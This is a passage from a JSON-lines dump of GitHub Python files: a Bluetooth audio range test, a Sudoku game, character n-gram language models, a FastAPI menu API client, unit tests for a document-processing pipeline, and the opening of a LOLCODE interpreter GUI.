configuration failed.',\n extras=self.metrics)\n\n #loop RSSI with the same codec setting\n for atten in attenuation_range:\n self.attenuator.set_atten(atten)\n self.log.info('atten %d', atten)\n\n self.play_and_record_audio()\n\n thdns = self.run_thdn_analysis()\n results.append(thdns)\n self.log.info('attenuation is %d', atten)\n self.log.info('THD+N result is %s', str(results[-1]))\n\n for thdn in thdns:\n if thdn >= self.user_params.get('thdn_threshold',\n DEFAULT_THDN_THRESHOLD):\n self.log.info(\n 'stop increasing attenuation and '\n 'get into next codec test. THD+N=, %s', str(thdn)\n )\n raise TestPass(\n 'test run through attenuations before audio is broken.'\n 'Successfully recorded and analyzed audio.',\n extras=self.metrics)\n\n raise TestPass(\n 'test run through all attenuations.'\n 'Successfully recorded and analyzed audio.',\n extras=self.metrics)\n","repo_name":"jingpad-bsp/android_tools_test_connectivity","sub_path":"acts/tests/google/bt/performance/BtRangeCodecTest.py","file_name":"BtRangeCodecTest.py","file_ext":"py","file_size_in_byte":3699,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"70571882002","text":"# Sudoku by Tamás Richter and Ákos Nagy\n# CODECOOL 2017\n\n# IMPORTS\nfrom output_handler import *\nfrom stage_handler import *\nfrom status_handler import *\nfrom input_handler import *\nfrom os import system\nimport getch\nimport vlc\n\n\n# Start\ndef main():\n wannaplay = True\n highlighted = [0, 0]\n # As long as you want to play\n while wannaplay:\n\n moves = []\n difficulty = welcome_screen()\n # List for the numbers what we took out.\n z = [[False for _ in range(9)] for _ in range(9)]\n m = init_board(make_stage(), difficulty, z)\n system('clear')\n\n while not player_has_won(m):\n\n # The belonging number for the givin coordinates, gonna be colored.\n # That means, the exact same number gonna be colored, where the player \"stands\"\n m[highlighted[0]][highlighted[1]] = bcolors['YELLOW'] + \\\n str(m[highlighted[0]][highlighted[1]]) + bcolors['ENDC']\n\n print_game_state(m)\n highlighted = get_input(m, z, moves, highlighted)\n\n system('clear')\n print_game_state(m)\n print(\"\\nCongratulations! You won!\")\n vlc.MediaPlayer(\"yeah.wav\").play()\n\n print(\"Wanna play again? 'y' for yes, anything else to quit.\")\n still_wants_to_play = getch.getch()\n if still_wants_to_play.lower() != 'y':\n wannaplay = False\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"kotoszo/sudoku","sub_path":"Sudoku_1.py","file_name":"Sudoku_1.py","file_ext":"py","file_size_in_byte":1416,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"21268515233","text":"import numpy as np\n\n\nclass MonogramModel:\n\n def __init__(self, num_obs=0.5):\n\n self.num_obs = num_obs\n self.charprobs = np.ones([256])\n self.charprobs /= self.charprobs.sum()\n\n def fit(self, train, val, weight_prior=0.5):\n\n tprobs = weight_prior * self.num_obs * self.charprobs\n tidx, tcounts = np.unique(train, return_counts=True)\n tprobs[tidx,] += tcounts\n tprobs /= tprobs.sum()\n\n vprobs = weight_prior * self.num_obs * self.charprobs\n vidx, vcounts = np.unique(val, return_counts=True)\n vprobs[vidx,] += vcounts\n vprobs /= vprobs.sum()\n\n # store the updated parameter:\n self.num_obs += len(train)\n self.charprobs = tprobs\n\n mean_train_loss = np.sum(-tprobs*np.log(tprobs))\n mean_train_loss_squared = np.sum(tprobs*np.log(tprobs) ** 2)\n var_train_loss = mean_train_loss_squared - mean_train_loss ** 2\n train_stats = mean_train_loss, np.sqrt(var_train_loss)\n\n mean_val_loss = np.sum(-vprobs*np.log(tprobs))\n mean_val_loss_squared = np.sum(vprobs*np.log(tprobs) ** 2)\n var_val_loss = mean_val_loss_squared - mean_val_loss ** 2\n val_stats = mean_val_loss, np.sqrt(var_val_loss)\n\n return train_stats, val_stats\n\n def sample(self, length):\n\n assert self.charprobs is not None\n\n indices = np.random.choice(self.charprobs.size,\n p=self.charprobs,\n size=length)\n\n return \"\".join(chr(int(i)) for i in indices)\n\n\nclass DigramModel:\n\n def __init__(self, num_obs=0.5):\n\n self.num_obs = num_obs\n self.joints = np.ones([256, 256])\n\n def fit(self, train, val, weight_prior=0.5):\n\n tprobs = weight_prior * self.num_obs * self.joints\n tpairs = np.stack([train[:-1], train[1:]], axis=1)\n tidx, tcounts = np.unique(tpairs, axis=0, return_counts=True)\n tprobs[tidx[:, 0], tidx[:, 1]] += tcounts.astype(tprobs.dtype)\n tprobs /= tprobs.sum()\n\n vprobs = weight_prior * self.num_obs * self.joints\n vpairs = np.stack([val[:-1], val[1:]], axis=1)\n vidx, vcounts = np.unique(vpairs, axis=0, return_counts=True)\n vprobs[vidx[:, 0], vidx[:, 1]] += vcounts.astype(vprobs.dtype)\n vprobs /= vprobs.sum()\n\n # store the updated parameter:\n self.num_obs += len(train)\n self.joints = tprobs\n\n tcond = tprobs / np.sum(tprobs, axis=1, keepdims=True)\n mean_train_loss = np.sum(-tprobs*np.log(tcond))\n mean_train_loss_squared = np.sum(tprobs*np.log(tcond) ** 2)\n var_train_loss = mean_train_loss_squared - mean_train_loss ** 2\n train_stats = mean_train_loss, np.sqrt(var_train_loss)\n\n mean_val_loss = np.sum(-vprobs*np.log(tcond))\n mean_val_loss_squared = np.sum(vprobs*np.log(tcond) ** 2)\n var_val_loss = mean_val_loss_squared - mean_val_loss ** 2\n val_stats = mean_val_loss, np.sqrt(var_val_loss)\n\n return train_stats, val_stats\n\n def sample(self, length):\n\n if length == 0:\n return \"\"\n \n p = self.joints.sum(axis=1)\n idx = np.random.choice(p.size, p=p)\n string = chr(idx)\n for _ in range(length - 1):\n marginals = self.joints[idx, :]\n conditionals = marginals / marginals.sum()\n idx = np.random.choice(conditionals.size, p=conditionals)\n string += chr(idx)\n\n return string\n\n\nif __name__ == \"__main__\":\n\n string = \"\"\"\n Whoever has been blessed with the advantages of a religious education, and\n recurs to his own years of juvenile susceptibility, cannot forget the\n strong impressions he received by these means; and must have had frequent\n occasion to remark the tenaciousness with which they have lingered in his\n memory, and sprung up amidst his recollections at every subsequent period.\n In many cases they have proved the basis, of future eminence in piety,\n and blended delightfully with the gladdening retrospections of declining\n life. In those instances, where all the good effects which might be\n anticipated did not appear, these early lessons have checked the\n impetuousity of passion, neutralized the force of temptation, and\n cherished the convictions of an incipient piety.\n \"\"\"\n\n string = \" \".join(line.strip() for line in string.split(\"\\n\"))\n sequence = [ord(c) for c in string]\n\n splitpoint = len(sequence) // 5\n train = sequence[:splitpoint]\n val = sequence[splitpoint:]\n \n m1 = MonogramModel()\n print(m1.fit(train, val))\n print(m1.sample(100))\n print()\n\n m2 = MonogramModel()\n print(m2.fit(train, val))\n print(m2.sample(100))\n print()","repo_name":"mathias-madsen/language-models","sub_path":"models/baselines.py","file_name":"baselines.py","file_ext":"py","file_size_in_byte":4887,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"54247182","text":"from typing import Dict, List, Optional\n\nimport httpx\nfrom fastapi import Form\n\nfrom config.settings import settings\n\n\nAPI_HOST = settings.api.api_host\n\n\ndef get_menu_form_creds(\n name: str = Form(),\n category_id: int = Form(),\n price: int = Form(),\n description: Optional[str] = Form(default=None),\n making_time: int = Form(),\n spice_level: str = Form(),\n vegetarian: bool = Form(),\n vegan: bool = Form(),\n gluten_free: bool = Form(),\n status: str = Form(),\n) -> dict:\n image = \"\"\n status = True if status == \"available\" else False\n data = {\n \"menu_category_id\": category_id,\n \"name\": name,\n \"description\": description,\n \"price\": price,\n \"making_time\": making_time,\n \"image\": str(image),\n \"status\": status,\n \"spice_level\": spice_level.lower(),\n \"vegetarian\": vegetarian,\n \"vegan\": vegan,\n \"gluten_free\": gluten_free,\n }\n return data\n\n\ndef get_menu_category_form_creds(\n name: str = Form(),\n description: Optional[str] = Form(default=None),\n) -> dict:\n image = \"https://pngfre.com/wp-content/uploads/Burger-43.png\"\n data = {\n \"name\": name,\n \"description\": description,\n \"image\": str(image),\n }\n return data\n\n\nasync def get_menu_items(\n user_session: str,\n category_id: Optional[int] = None,\n) -> List:\n async with httpx.AsyncClient() as client:\n try:\n if category_id:\n response = await client.get(\n f\"{API_HOST}/menu\",\n headers={\"Authorization\": f\"Bearer {user_session}\"},\n params={\"category_id\": category_id},\n )\n else:\n response = await client.get(\n f\"{API_HOST}/menu\",\n headers={\"Authorization\": f\"Bearer {user_session}\"},\n )\n response.raise_for_status()\n menu_list = response.json()\n except httpx.HTTPError as e:\n print(e)\n menu_list = []\n return menu_list\n\n\nasync def get_menu_item(\n menu_id: int,\n user_session: str,\n) -> dict:\n async with httpx.AsyncClient() as client:\n try:\n response = await client.get(\n f\"{API_HOST}/menu\",\n headers={\"Authorization\": f\"Bearer {user_session}\"},\n params={\"menu_id\": menu_id},\n )\n response.raise_for_status()\n item = response.json()[0]\n if item.get(\"vegetarian\"):\n item[\"vegetarian\"] = \"yes\"\n else:\n item[\"vegetarian\"] = \"no\"\n if item.get(\"vegan\"):\n item[\"vegan\"] = \"yes\"\n else:\n item[\"vegan\"] = \"no\"\n if item.get(\"gluten_free\"):\n item[\"gluten_free\"] = \"yes\"\n else:\n item[\"gluten_free\"] = \"no\"\n if item.get(\"status\"):\n item[\"status\"] = \"available\"\n else:\n item[\"status\"] = \"unavailable\"\n except httpx.HTTPError:\n item = {}\n return item\n\n\nasync def add_menu_item(\n data: dict,\n user_session: str,\n) -> int:\n async with httpx.AsyncClient() as client:\n try:\n response = await client.post(\n f\"{API_HOST}/menu\",\n headers={\"Authorization\": f\"Bearer {user_session}\"},\n json=data,\n )\n response.raise_for_status()\n except httpx.HTTPError:\n response = None\n return response.status_code\n\n\nasync def update_menu_item(\n data: dict,\n menu_id: int,\n user_session: str,\n) -> int:\n async with httpx.AsyncClient() as client:\n try:\n data[\"id\"] = menu_id\n response = await client.put(\n f\"{API_HOST}/menu\",\n headers={\"Authorization\": f\"Bearer {user_session}\"},\n json=data,\n )\n response.raise_for_status()\n except httpx.HTTPError:\n response = None\n return response.status_code\n\n\nasync def delete_menu_item(\n menu_id: int,\n user_session: str,\n) -> int:\n async with httpx.AsyncClient() as client:\n try:\n response = await client.delete(\n f\"{API_HOST}/menu\",\n headers={\"Authorization\": f\"Bearer {user_session}\"},\n params={\"menu_id\": menu_id},\n )\n response.raise_for_status()\n except httpx.HTTPError:\n response = None\n return response.status_code\n\n\nasync def get_menu_categories(\n user_session: str,\n) -> List[Dict]:\n async with httpx.AsyncClient() as client:\n try:\n response = await client.get(\n f\"{API_HOST}/menu/categories\",\n headers={\"Authorization\": f\"Bearer {user_session}\"},\n )\n response.raise_for_status()\n menu_categories = response.json()\n options = []\n for category in menu_categories:\n options.append(\n {\n \"value\": category[\"id\"],\n \"name\": category[\"name\"],\n \"description\": category[\"description\"],\n \"image\": category[\"image\"],\n }\n )\n except httpx.HTTPError as e:\n print(e)\n options = []\n return options\n\n\nasync def get_menu_category(\n category_id: int,\n user_session: str,\n) -> dict:\n async with httpx.AsyncClient() as client:\n try:\n response = await client.get(\n f\"{API_HOST}/menu/category\",\n headers={\"Authorization\": f\"Bearer {user_session}\"},\n params={\"category_id\": category_id},\n )\n response.raise_for_status()\n menu_category = response.json()\n except httpx.HTTPError:\n menu_category = {}\n return menu_category\n\n\nasync def add_menu_category(\n data: dict,\n user_session: str,\n) -> int:\n async with httpx.AsyncClient() as client:\n try:\n response = await client.post(\n f\"{API_HOST}/menu/category\",\n headers={\"Authorization\": f\"Bearer {user_session}\"},\n json=data,\n )\n response.raise_for_status()\n except httpx.HTTPError:\n response = None\n return response.status_code\n\n\nasync def update_menu_category(\n data: dict,\n category_id: int,\n user_session: str,\n) -> int:\n async with httpx.AsyncClient() as client:\n try:\n data[\"id\"] = category_id\n response = await client.put(\n f\"{API_HOST}/menu/category\",\n headers={\"Authorization\": f\"Bearer {user_session}\"},\n json=data,\n )\n response.raise_for_status()\n except httpx.HTTPError:\n response = None\n return response.status_code\n\n\nasync def delete_menu_category(\n category_id: int,\n user_session: str,\n) -> int:\n async with httpx.AsyncClient() as client:\n try:\n response = await client.delete(\n f\"{API_HOST}/menu/category\",\n headers={\"Authorization\": f\"Bearer {user_session}\"},\n params={\"category_id\": category_id},\n )\n response.raise_for_status()\n except httpx.HTTPError:\n response = None\n return response.status_code\n","repo_name":"mazedm80/py-htmx","sub_path":"app/services/menu.py","file_name":"menu.py","file_ext":"py","file_size_in_byte":7474,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"43179544390","text":"import sys\nsys.stdin = open(\"input_5174.txt\", \"r\")\n\n\ndef play(n):\n global cnt\n for i in range(len(li_c[n])):\n if li_c[n][i] != 0:\n cnt += 1\n play(li_c[n][i])\n\n\n\nT = int(input())\n\nfor TC in range(1, T+1):\n E, N = map(int, input().split())\n\n li = list(map(int, input().split()))\n li_c = [[0]*2 for _ in range(E+2)]\n\n for i in range(E):\n if li_c[li[i*2]][0] == 0:\n li_c[li[i*2]][0] = li[i*2+1]\n else:\n li_c[li[i * 2]][1] = li[i*2+1]\n cnt = 1\n play(N)\n\n print('#%d %d' % (TC, cnt))","repo_name":"sondongmin0419/study","sub_path":"python/s_5174.py","file_name":"s_5174.py","file_ext":"py","file_size_in_byte":569,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"37948920182","text":"\"\"\"Testing src/execution.py.\"\"\"\nimport logging\nfrom itertools import cycle\nfrom typing import Optional\nfrom unittest.mock import PropertyMock, patch\n\nimport pipelines.db.models as dbm\nimport pipelines.execution as execution\nimport pipelines.schemas as schemas\nimport pytest\nfrom aiokafka import AIOKafkaProducer\nfrom fastapi import HTTPException\nfrom pydantic import BaseModel\n\nimport tests.testing_data as td\n\nLOGGER = logging.getLogger(__name__)\n\npytest_plugins = (\"pytest_asyncio\",)\n\nside_effect = [\"a-s-d\", \"q-w-e\", \"q-a-z\"]\n\n\nclass ExecStepPropertyMock(BaseModel):\n model_url: Optional[str] = None\n categories: Optional[str] = None\n args: Optional[str] = None\n\n\n@pytest.fixture\ndef uuid_mock():\n with patch(\"uuid.UUID.__str__\", side_effect=cycle(side_effect)):\n yield uuid_mock\n\n\n@patch(\n \"pipelines.execution.ExecutionStep.get_pipeline_step\",\n new_callable=PropertyMock,\n)\n@patch(\"pipelines.execution.ExecutionStep.step_execution\")\n@pytest.mark.asyncio\nasync def test_step_execution_with_logging(\n step_exec_mock, pipeline_step, run_in_session_mock, caplog\n):\n \"\"\"Testing step_execution_with_logging.\"\"\"\n property_mock = ExecStepPropertyMock.parse_obj(\n {\"model_url\": \"https://foo.com/bar\", \"categories\": None}\n )\n step_exec_mock.return_value = None\n pipeline_step.return_value = property_mock\n exec_step = td.test_exec_step\n body = schemas.InputArguments.parse_obj(\n {**td.exec_input_args, \"result\": \"foo\"}\n )\n await exec_step.step_execution_with_logging(\n body=body, producer=AIOKafkaProducer\n )\n\n assert step_exec_mock.call_count == 1\n\n\n@pytest.mark.skip(\n \"Test should be fixed - it 'blinks'. \"\n \"It passes when run separately, but fails when all tests are run.\"\n)\n@patch(\n \"pipelines.execution.ExecutionStep.get_pipeline_step\",\n new_callable=PropertyMock,\n)\n@patch(\"pipelines.execution.ExecutionStep.send\")\n@pytest.mark.asyncio\nasync def test_step_execution(\n mock_send, model_url, caplog, run_in_session_mock\n):\n \"\"\"Testing step_execution.\"\"\"\n property_mock = ExecStepPropertyMock.parse_obj(\n {\"model_url\": \"https://foo.com/bar\"}\n )\n model_url.return_value = property_mock\n mock_send.return_value = None\n exec_step = td.test_exec_step\n await exec_step.step_execution(\n producer=AIOKafkaProducer, body=td.input_args_1\n )\n assert mock_send.called\n assert caplog.messages[0] == \"Step with id = 58 sent.\"\n\n\ndef test_steps_names():\n \"\"\"Testing PipelineStep steps_names.\"\"\"\n assert td.steps.steps_names() == [\"bar\", \"baz\", \"mrt\"]\n\n\ndef test_steps_identifiers(uuid_mock):\n \"\"\"Testing PipelineStep steps_identifiers.\"\"\"\n steps = execution.PipelineStep.parse_obj(td.steps_dict)\n expected = {\"a-s-d\": [\"q-w-e\", \"q-a-z\"], \"q-a-z\": [], \"q-w-e\": []}\n assert steps.steps_identifiers() == expected\n\n\ndef test_get_ids(uuid_mock):\n \"\"\"Testing Pipeline get_ids.\"\"\"\n pipeline = execution.Pipeline.parse_obj(td.pipeline_dict)\n expected = {\"a-s-d\": [\"q-w-e\", \"q-a-z\"], \"q-a-z\": [], \"q-w-e\": []}\n assert pipeline.get_ids() == expected\n\n\ndef test_get_names():\n \"\"\"Testing Pipeline get_names.\"\"\"\n assert td.pipeline.get_model_ids() == [\"bar\", \"baz\", \"mrt\"]\n\n\ndef test_from_orm(uuid_mock):\n \"\"\"Testing Pipeline from_orm.\"\"\"\n pipeline = execution.Pipeline.parse_obj(td.pipeline_dict)\n pipeline_ = execution.Pipeline.from_orm(td.pipeline_db)\n assert isinstance(pipeline_, execution.Pipeline)\n assert pipeline_ == pipeline\n\n\ndef test_to_orm():\n \"\"\"Testing Pipeline to_orm.\"\"\"\n pipeline_db = td.pipeline.to_orm()\n assert isinstance(pipeline_db, dbm.Pipeline)\n assert pipeline_db.name == \"foo\"\n\n\ndef test_to_orm_no_pipeline_name(uuid_mock):\n \"\"\"Testing Pipeline to_orm when there's no name in meta.\"\"\"\n pipeline_db = execution.Pipeline(\n meta=execution.PipelineMeta(type=\"inference\"), steps=[]\n ).to_orm()\n assert isinstance(pipeline_db, dbm.Pipeline)\n assert pipeline_db.name == \"a-s-d\"\n\n\ndef test_check_valid_ids():\n with patch.object(\n execution.PipelineStep,\n \"fetch\",\n return_value=[{\"name\": \"foo\"}, {\"name\": \"bar\"}],\n ):\n res = execution.Pipeline.check_valid_ids([\"foo\", \"bar\"])\n assert res is None\n\n\ndef test_check_valid_ids_not_all():\n with patch.object(\n execution.PipelineStep,\n \"fetch\",\n return_value=[{\"name\": \"foo\"}, {\"name\": \"bar\"}],\n ):\n with pytest.raises(HTTPException):\n execution.Pipeline.check_valid_ids([\"foo\", \"bar\", \"baz\"])\n\n\ndef test_get_categories():\n with patch.object(\n execution.PipelineStep,\n \"fetch\",\n return_value={\n \"data\": [\n {\"name\": \"foo\", \"categories\": [\"foo\", \"bar\", \"text\"]},\n {\"name\": \"bar\", \"categories\": [\"figure\", \"header\", \"text\"]},\n ]\n },\n ):\n res = execution.Pipeline.get_categories([\"z\"])\n assert res == [[\"foo\", \"bar\", \"text\"], [\"figure\", \"header\", \"text\"]]\n\n\ndef test_update_categories():\n categories = [[\"foo\", \"bar\", \"text\"], [\"figure\", \"header\", \"text\"]]\n td.pipeline.update_categories(categories)\n assert (\n td.pipeline.meta.categories.sort()\n == [\"foo\", \"bar\", \"figure\", \"header\", \"text\"].sort()\n )\n\n\ndef test_update_categories_empty():\n categories = [[], []]\n td.pipeline.update_categories(categories)\n assert td.pipeline.meta.categories == []\n\n\n@pytest.mark.skip(reason=\"We make request which is not mocked, fix needed\")\ndef test_get_model_urls():\n with patch.object(\n execution.PipelineStep,\n \"fetch\",\n return_value=[\n {\"name\": \"foo\", \"url\": \"http://foo.dev1.gcov.ru\"},\n {\"name\": \"bar\", \"url\": \"http://bar.dev1.gcov.ru\"},\n {\"name\": \"baz\", \"url\": \"http://baz.dev1.gcov.ru\"},\n ],\n ):\n res = execution.Pipeline.get_model_urls([\"foo\", \"bar\"])\n assert res == {\n \"foo\": \"http://foo.dev1/v1/models/foo:predict\",\n \"bar\": \"http://bar.dev1/v1/models/bar:predict\",\n }\n\n\ndef test_update_model_field():\n url_map = {\n \"foo\": \"http://foo.dev1/v1/models/foo:predict\",\n \"bar\": \"http://bar.dev1/v1/models/bar:predict\",\n }\n td.pipeline.update_model_field(td.pipeline.steps, url_map)\n assert td.pipeline.dict()[\"steps\"][0][\"model_url\"] == url_map[\"bar\"]\n\n\ndef test__convert_uri():\n assert (\n execution.Pipeline._convert_uri(\"http://foo.dev1.gcov.ru\")\n == \"http://foo.dev1/v1/models/foo:predict\"\n )\n assert (\n execution.Pipeline._convert_uri(\"http://bar.dev1.gcov.ru\")\n == \"http://bar.dev1/v1/models/bar:predict\"\n )\n\n\ndef test_adjust_pipeline():\n with patch.object(\n execution.Pipeline, \"get_categories\", return_value=[[\"text\", \"chart\"]]\n ):\n with patch.object(\n execution.Pipeline,\n \"get_model_urls\",\n return_value={\"bar\": \"http://bar.dev1.gcov.ru\"},\n ):\n td.pipeline.adjust_pipeline(td.pipeline.get_model_ids())\n assert (\n td.pipeline.meta.categories.sort() == [\"text\", \"chart\"].sort()\n )\n\n\n@pytest.mark.skip(\n \"Test should be fixed - it 'blinks'. \"\n \"It passes when run separately, but fails when all tests are run.\"\n)\n@patch(\"pipelines.execution.ExecutionStep.step_execution_with_logging\")\n@patch(\"pipelines.execution.PipelineTask.send_status\")\n@pytest.mark.asyncio\nasync def test_start_task(\n webhook_mock,\n exec_mock,\n run_in_session_mock,\n mock_preprocessing_file_status,\n caplog,\n):\n webhook_mock.return_value = None\n exec_mock.return_value = None\n step_with_args = execution.ExecutionStep.parse_obj(\n {\n \"id\": 58,\n \"task_id\": 20,\n \"name\": \"bar\",\n \"step_id\": \"05c2c926-5e1b-409d-a88d-eda8c75df3c7\",\n \"status\": \"Pending\",\n \"init_args\": {\n \"input_path\": \"foo/bar/baz.gz\",\n \"input\": {\"a\": {\"aa\": 1}, \"b\": {\"bb\": 2}},\n \"file\": \"foo/bar/baz.gz\",\n \"bucket\": \"test\",\n \"pages\": [1, 2, 3],\n \"output_path\": \"qwe/foo/bar/baz\",\n \"output_bucket\": \"output_bucket\",\n },\n }\n )\n task = execution.PipelineTask.parse_obj(\n {\n \"id\": 20,\n \"task_name\": \"dc83271e-ce3e-464c-97ff-6adb4b12dc9d\",\n \"pipeline_id\": 2,\n \"status\": \"Pending\",\n \"job_id\": 2,\n \"steps\": [step_with_args],\n }\n )\n\n # async def check_preprocessing_status_mock(x, y):\n # return True\n\n with patch(\n \"pipelines.execution.PipelineTask.get_pipeline_type\",\n lambda _: schemas.PipelineTypes.INFERENCE,\n ):\n # with patch(\n # \"pipelines.execution.PipelineTask.check_preprocessing_status\",\n # check_preprocessing_status_mock,\n # ):\n await task.start(AIOKafkaProducer)\n\n assert caplog.messages[0] == \"Start executing task with id = 20\"\n assert exec_mock.called\n\n\n@pytest.mark.skip(\n \"Test should be fixed - it 'blinks'. \"\n \"It passes when run separately, but fails when all tests are run.\"\n)\n@patch(\"pipelines.execution.ExecutionStep.step_execution_with_logging\")\n@pytest.mark.asyncio\nasync def test_process_next_steps(exec_step, caplog):\n exec_step.return_value = None\n received_step = execution.ExecutionStep.parse_obj(\n {\n \"id\": 58,\n \"task_id\": 20,\n \"name\": \"bar\",\n \"step_id\": \"05c2c926-5e1b-409d-a88d-eda8c75df3c7\",\n \"status\": \"Finished\",\n \"init_args\": td.exec_input_args,\n }\n )\n child_step = execution.ExecutionStep.parse_obj(\n {\n \"id\": 59,\n \"task_id\": 20,\n \"name\": \"bar\",\n \"step_id\": \"08c2c906-5e1b-409d-a88d-eda8c7gfg7ik\",\n \"status\": \"Pending\",\n \"parent_step\": \"05c2c926-5e1b-409d-a88d-eda8c75df3c7\",\n }\n )\n task = execution.PipelineTask.parse_obj(\n {\n \"id\": 20,\n \"task_name\": \"dc83271e-ce3e-464c-97ff-6adb4b12dc9d\",\n \"pipeline_id\": 2,\n \"status\": \"Pending\",\n \"job_id\": 2,\n \"steps\": [received_step, child_step],\n }\n )\n with patch(\"pipelines.execution.PipelineTask.get_by_id\", lambda id_: task):\n with patch(\n \"pipelines.execution.PipelineTask.get_pipeline_type\",\n lambda _: schemas.PipelineTypes.INFERENCE,\n ):\n await received_step.process_next_steps(AIOKafkaProducer)\n assert caplog.messages[0].startswith(\"Process next steps: [59]\")\n assert exec_step.called\n\n\n@pytest.mark.skip(\n \"Test should be fixed - it 'blinks'. \"\n \"It passes when run separately, but fails when all tests are run.\"\n)\n@patch(\"pipelines.execution.ExecutionStep.step_execution_with_logging\")\n@pytest.mark.asyncio\nasync def test_process_next_staps_without_child_steps(exec_step, caplog):\n received_step = execution.ExecutionStep.parse_obj(\n {\n \"id\": 58,\n \"task_id\": 20,\n \"name\": \"bar\",\n \"step_id\": \"05c2c926-5e1b-409d-a88d-eda8c75df3c7\",\n \"status\": \"Finished\",\n \"init_args\": td.exec_input_args,\n }\n )\n some_step = execution.ExecutionStep.parse_obj(\n {\n \"id\": 58,\n \"task_id\": 20,\n \"name\": \"bar\",\n \"step_id\": \"08c2c906-5e1b-409d-a88d-eda8c7gfg7ik\",\n \"status\": \"Pending\",\n \"parent_step\": \"98c2c926-5e1b-409d-a88d-eda8c75df3u6\",\n }\n )\n task = execution.PipelineTask.parse_obj(\n {\n \"id\": 20,\n \"task_name\": \"dc83271e-ce3e-464c-97ff-6adb4b12dc9d\",\n \"pipeline_id\": 2,\n \"status\": \"Pending\",\n \"job_id\": 2,\n \"steps\": [received_step, some_step],\n }\n )\n\n with patch(\"pipelines.execution.PipelineTask.get_by_id\", lambda id_: task):\n await received_step.process_next_steps(AIOKafkaProducer)\n\n assert caplog.messages[0].startswith(\"Step with id = 58 from task = 20\")\n exec_step.assert_not_called()\n","repo_name":"epam/badgerdoc","sub_path":"pipelines/tests/test_execution.py","file_name":"test_execution.py","file_ext":"py","file_size_in_byte":12146,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"3"} +{"seq_id":"28428189672","text":"from lexerfuncs import * \nimport settings\n\ndef clearCodeEditor(): \t\t# Function for clearing outPut and code Editor \n\tcodeEditor.delete('1.0',END)\n\ndef clearOutputBox():\n\toutPut.configure(state=\"normal\")\n\toutPut.delete('1.0',END)\n\ndef getFile():\n\tclearCodeEditor()\n\tfileName = filedialog.askopenfilename(filetypes=[(\"LOL File\", \"*.lol\")], initialdir=\"tests/\",title = \"Select a LOL Code File\") # Get the LOL File \n\tprint(\"File Name: \",fileName)\n\tfileHandle = open(fileName,\"r+\") \t\t# Read and write \n\tfileContent = fileHandle.read()\n\n\tcodeEditor.insert(END, fileContent)\n\tfileHandle.close() \n\ndef executeCode():\n\toutPut.configure(state=\"normal\")\n\n\tsettings.hasError = False\n\tsettings.errorLine = 0 \n\tsettings.errorMessage = \" \"\n\n\tvarDict.clear()\n\tvarDict['IT'] = [None,None]\t\t\t\t\t# Clear Variable Dictionary when getting a new file\n\n\t# Reset Contents of Symbol Table and Lexemes \n\tfor i in lexView.get_children():\n\t\tlexView.delete(i)\n\n\tfor j in symbolView.get_children():\n\t\tsymbolView.delete(j)\n\n\t# Clear Output\n\tclearOutputBox()\n\t\n\t# Variables\n\ttokens = []\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# List of Tokens, will be appended through line tokenizer \n\tsourceLines = []\t\t\t\t\t\t\t\t\t\t\t\t\t# List of Lines\n\tvisibleLines = []\t\t\t\t\t\t\t\t\t\t\t\t\t# Strings to be printed per line in Visible \n\t\n\tsourceLines = codeEditor.get(\"1.0\",\"end-1c\")\t\t\t\t\t\t\t# Get the input from the code Editor \n\tsourceLines = re.split(\"\\n\",sourceLines)\t\t\t\t\t\t\t# split into list per newline\n\tsourceLines = handleComments(sourceLines)\t\t\t\t\t\t\t# Remove Comments here \n\n\tif sourceLines == False:\n\n\t\terrorString = \"Line: \" + str(settings.errorLine) + \" \" + str(settings.errorMessage)\n\t\toutPut.insert(END,errorString)\n\n\telse:\n\t\tfor i in range(len(sourceLines)):\t\t\t\t\t\t\t\t\t# Checks if the first non comment line is HAI \n\t\t\tif re.match(empty,sourceLines[i]):\t\n\t\t\t\tpass\n\t\t\telif re.match(hai,sourceLines[i]):\t\n\t\t\t\tbreak\n\t\t\telse: \n\t\t\t\tprintError(\"Invalid Start of program\",sourceLines.index(sourceLines[i]))\n\t\t\t\tbreak\n\n\t\twhile not(re.match(kthxbye,sourceLines[-1])):\t\t\t\t\t\t\n\t\t\tprint(sourceLines[-1])\n\t\t\tif re.match(empty,sourceLines[-1]): sourceLines.pop()\t\t\t# removes whitespaces after the KTHXBYE\n\t\t\telse: break\t\t\t\t\t\t\t\t\t\t\t\t\t\t# breaks out of the loop if it encounters anything else other than KTHXBYE\n\n\t\tif not(re.match(kthxbye,sourceLines[-1])) : \n\t\t\tprintError(\"Invalid End of program\",len(sourceLines))\t\t\t# Last Line must be KTHXBYE \n\n\t\tprint(\"Lines: \")\n\t\tfor i in range(len(sourceLines)):\n\t\t\tprint(i,\"-\",sourceLines[i])\n\t\t\n\t\tvalue = tokenizer(sourceLines,tokens,visibleLines)\t\t\t\t\t\t\t# Tokenize each line\n\t\tprint(\"Value: \",value)\n\n\t\tif value == False:\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# An Error Has Occurred\n\t\t\terrorString = \"Line: \" + str(settings.errorLine) + \" \" + str(settings.errorMessage)\n\t\t\toutPut.insert(END,errorString)\n\t\t\thasError = None\n\n\t\telif value != False:\n\t\t\t\n\t\t\tfor row in tokens:\n\t\t\t\tfor element in row:\n\t\t\t\t\tlexView.insert(\"\",\"end\",values=(element[1],element[0]))\n\n\t\t\tfor element in varDict:\n\t\t\t\tsymbolView.insert(\"\",\"end\",values=(element,varDict[element][1]))\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\tfor element in visibleLines:\t\t\t\t\t\t\t\t\t\t# Display Contents of Visiblelines to the output box \n\t\t\t\tfinal = str(element.pop()) + \"\\n\"\n\t\t\t\toutPut.insert(END, final)\n\n\t\toutPut.configure(state=\"disabled\")\n\n\n\n## GUI Part\n\nroot = Tk() # root \nroot.title(\"League of LolCode\") # Title\nroot.iconbitmap(\"favicon.ico\") # Icon\nroot.geometry(\"1700x900\") # Default window size is 1600x900\n\ntopMainFrame = 